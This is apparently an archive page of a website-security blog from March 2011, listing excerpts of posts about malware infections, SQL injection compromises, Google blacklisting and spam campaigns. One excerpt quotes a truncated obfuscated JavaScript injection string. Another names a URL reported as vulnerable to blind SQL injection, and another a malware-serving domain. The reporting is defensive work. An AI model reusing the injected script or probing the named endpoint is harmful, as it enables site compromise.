Monthly Archives: March 2011

The “div_colors” Malware Update

Posted on March 29, 2011 by David Dede

We are still seeing a big growth in the number of sites infected with the div_colors malware string. In fact, the osCommerce forums are full of people asking about it, uncertain what to do, and what it does. So, what … Read more


Posted in blacklisted, hacked, malware, malware_updates, oscommerce | Tagged , , , , | 4 Comments

Will Google blacklist itself?

Posted on March 28, 2011 by David Dede

We were analyzing an infected site today and their Google blacklist diagnostic said the following: Has this site hosted malware? Yes, this site has hosted malicious software over the past 90 days. It infected 3 domain(s), including site.com/, google.com/. Hum… … Read more


Posted in blacklisted, google | Tagged , | 3 Comments

Malware week: The div_colors, CreateCSS and others

Posted on March 28, 2011 by David Dede

We are starting to see an interesting trend regarding how the latest web-based malware is being distributed. Instead of heavily encoding the malicious code on the infected web sites, attackers are now trying to make it look like legitimate code. … Read more


Posted in hacked, malware, malware_updates, oscommerce | Tagged , , , | 1 Comment

MySQL.com compromised

Posted on March 27, 2011 by David Dede

MySQL.com (the official site for the MySQL database) was compromised via (shocking!) blind SQL injection. A post was sent today to the full disclosure list explaining the issue and dumping part of their internal database structure. Vulnerable Target : http://mysql.com/customers/view/index.html?id=1170 … Read more


Posted in hacked, security | Tagged , | 38 Comments

Database injection and lessthenaminutehandle.com – Intermediary domains

Posted on March 22, 2011 by David Dede

We posted a few days ago about a large scale database injection attack affecting shared hosts. The infected sites got the following javascript malware inserted on every post of their database (generally the wp-post table on WordPress): <script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72.. 70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B".. Which … Read more


Posted in blacklisted, godaddy, hacked, malware, malware_updates | Tagged , , , , | Leave a comment

Attacks against IIS/ASP sites – alisa-carter dot com

Posted on March 21, 2011 by David Dede

Over the last few days, we’ve seen a number of sites getting hacked with a malware script pointing to http://alisa-carter.com/ur.php . It is done using the same SQL injection attack as used in therobint-us mass infection a few months ago. … Read more


Posted in blacklisted, hacked, iis | Tagged , , | 1 Comment

Tumblr mistake or security issue

Posted on March 19, 2011 by David Dede

There is a post on Hacker News about a possible security issue with Tumblr. Basically a lot of confidential information, including server IPS, API keys, passwords, etc were leaked. Here is some of the stuff that was disclosed: Database::set_defaults(array( ‘user’ … Read more


Posted in security | Tagged , | 6 Comments

Database injection, Hilary Kneber and lessthenaminutehandle dot com

Posted on March 17, 2011 by David Dede

We posted a few weeks ago about a database injection attack that infected thousands of WordPress blogs on shared hosts. At that time, the attackers were inserting a javascript link pointing to welcometotheglobalisnet.com/js.php?kk=25 in all the posts in the database. … Read more


Posted in godaddy, hacked, malware, malware_updates, wordpress | Tagged , , , , | 8 Comments

Solution for the link injection spam from basicpills

Posted on March 16, 2011 by David Dede

We recently posted about a large scale blackhat SEO campaign by basicpills that infected thousands of WordPress sites over the last few weeks. A lot of people contacted us for help and asked for directions on how to remove those … Read more


Posted in malware, malware_updates, pharma, spam, wordpress | Tagged , , , , | 10 Comments

Oracle.com, Wetpaint, Spammers, and the Tale of an Unmoderated Wiki

Posted on March 14, 2011 by David Dede

Update: A few hours after this post going live, it seems that Oracle started to clean up the wiki. Very good! Oracle’s official Wiki (at http://wiki.oracle.com ) is becoming a haven for spammers. The site has a high page rank … Read more


Posted in oracle, pharma, spam | Tagged , , | 1 Comment
RSS Delicious